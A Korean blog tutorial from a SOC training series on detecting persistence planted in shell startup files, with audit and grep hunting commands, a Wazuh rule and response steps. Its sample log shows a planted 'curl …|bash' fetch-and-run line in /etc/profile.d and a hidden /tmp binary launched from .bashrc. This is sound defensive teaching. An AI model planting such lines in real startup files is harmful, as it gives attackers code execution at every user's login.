271. 프로세스·지속성 — 셸 초기화 파일(.bashrc 등) 지속성 탐지

changseop lee·2026년 10월 7일

시스템 보안 · 취약점

목록 보기
272/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 21/50편 (전체 271/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

셸 초기화 파일은 사용자가 셸을 시작하거나 로그인할 때마다 실행됩니다. 공격자는 .bashrc·/etc/profile.d 등에 악성 코드를 심어, 로그인·셸 시작 시 자동 실행되는 지속성을 확보합니다.

셸 초기화 파일 지속성
 사용자: ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc
 전역:   /etc/profile, /etc/profile.d/*, /etc/bash.bashrc
 로그아웃: ~/.bash_logout
 별칭 위장: alias ls='악성; ls'

실행 시점: 로그인·셸 시작 시마다 → 사용자 활동에 묻어 실행

셸 초기화 지속성은 사용자가 로그인·셸을 쓸 때 자연스럽게 실행되어 은밀합니다. 특히 전역 파일(/etc/profile.d)은 모든 사용자에게 적용됩니다.

2. 왜 중요한가

  • 셸 초기화 파일은 로그인·셸 시작 시 실행되어, 사용자 활동에 묻어 은밀히 기동됩니다.
  • 전역 파일(/etc/profile.d)은 모든 사용자 로그인 시 실행되어 영향이 큽니다.
  • alias 위장은 정상 명령 실행 시 악성 코드를 끼워 넣습니다.

3. 핵심 명령어 / 설정

초기화 파일실행 시점위험
~/.bashrc셸 시작마다높음
~/.bash_profile로그인 시높음
/etc/profile.d/*전역 로그인매우 높음
alias 위장명령 실행 시중간
정상 설정정상정상

4. 실습 (실습 예시)

# 셸 초기화 파일 지속성 탐지 (분석 방법)
# 초기화 파일 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'bashrc|bash_profile|profile\.d|\.zshrc|\.profile' | tail
# 초기화 파일의 의심 내용(네트워크·비표준 경로·인코딩)
sudo grep -rE 'curl|wget|nc |/tmp/|/dev/shm/|base64|bash -i' /etc/profile.d/ /etc/bash.bashrc /home/*/.bashrc /root/.bashrc 2>/dev/null

5. 정상 상태

$ (초기화 파일 변경) (없음)
$ (의심 내용) (없음 — 정상 환경 설정만)

셸 초기화 파일에 변경 이벤트가 없고, 네트워크·비표준 경로 등 의심 내용이 없는 상태가 정상입니다.

6. 이상 상태

$ (초기화 파일 변경)
04:12 auid=devops /home/alice/.bashrc
$ (의심 내용)
/etc/profile.d/x.sh: curl http://192.0.2.88/p|bash &
/home/alice/.bashrc: /tmp/.x &
  • /etc/profile.d에 다운로드+실행 → 모든 사용자 로그인 시 실행(전역 지속성)
  • alice의 .bashrc에 /tmp/.x → alice 셸 시작 시 실행
  • 초기화 파일에 네트워크·비표준 경로 → 지속성 → 정탐

7. 로그 분석 (분석 방법)

셸 초기화 지속성 분석입니다(가상의 예시).

[등록] /etc/profile.d/x.sh: curl ...|bash (watch/FIM)
   ↓
[실행] 사용자 로그인 → profile.d 실행 → curl|bash
   ↓ 계보
login/sshd → bash → (profile.d) → curl → payload
   ↓
[지속] 로그인할 때마다 재실행(사용자 활동에 묻힘)
요소해석
profile.d 변경전역 지속성
curlbash
로그인 트리거사용자 활동
매 로그인반복 실행

로그인 계보(sshd→bash→profile.d→악성)로 셸 초기화 지속성을 포착합니다.

8. SOC 관제 포인트

  • 셸 초기화 파일은 로그인·셸 시작 시 자동 실행되는 은밀한 지속성입니다.
  • 전역 파일(/etc/profile.d)은 모든 사용자에게 적용되어 영향이 큽니다.
  • 초기화 파일 변경(watch/FIM)·의심 내용(네트워크·비표준 경로)을 탐지합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
  <rule id="105200" level="12">
    <if_sid>105060</if_sid>
    <field name="audit.file" type="pcre2">\.(bashrc|bash_profile|profile|zshrc|bash_logout)$|/etc/profile\.d/|/etc/bash\.bashrc</field>
    <description>셸 초기화 파일 지속성 변경(로그인·셸 시작 실행)</description>
    <mitre><id>T1546.004</id></mitre>
  </rule>
</group>

초기화 파일 내용(curl·비표준 경로)은 FIM으로 탐지합니다. 정상 환경 설정 변경은 맥락으로 구분합니다.

10. 대응 방법

  1. 초기 확인 — 변경된 셸 초기화 파일·내용·주체·적용 범위(사용자/전역)를 확인합니다.
  2. 범위 확인 — 네트워크·비표준 경로·alias 위장·로그인 실행 계보를 확인합니다.
  3. 증거 확보 — 초기화 파일 변경 이벤트·내용·로그인 실행 로그를 보존합니다.
  4. 차단/조치 — 셸 지속성 정탐이면 악성 라인 제거·원복·영향 사용자 점검을 진행합니다.
  5. 재발 방지 — 셸 초기화 파일 지속성 탐지(watch+FIM)를 운영합니다.

11. 핵심 정리

초기화 파일실행 시점
~/.bashrc셸 시작마다
~/.bash_profile로그인 시
/etc/profile.d전역 로그인
alias 위장명령 실행 시
면접 포인트"셸 초기화는 로그인·셸 시작 실행 — 전역(profile.d)은 모든 사용자 영향"

12. 다음 편 예고

다음 편 272. 프로세스·지속성 — systemd 사용자 서비스·autostart 지속성 탐지 에서는 systemd 사용자 서비스·autostart 지속성을 다루는 systemd 사용자 서비스·autostart 지속성 탐지를 다룹니다.


이전 편: 270. 프로세스·지속성 — systemd 서비스·타이머 지속성 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글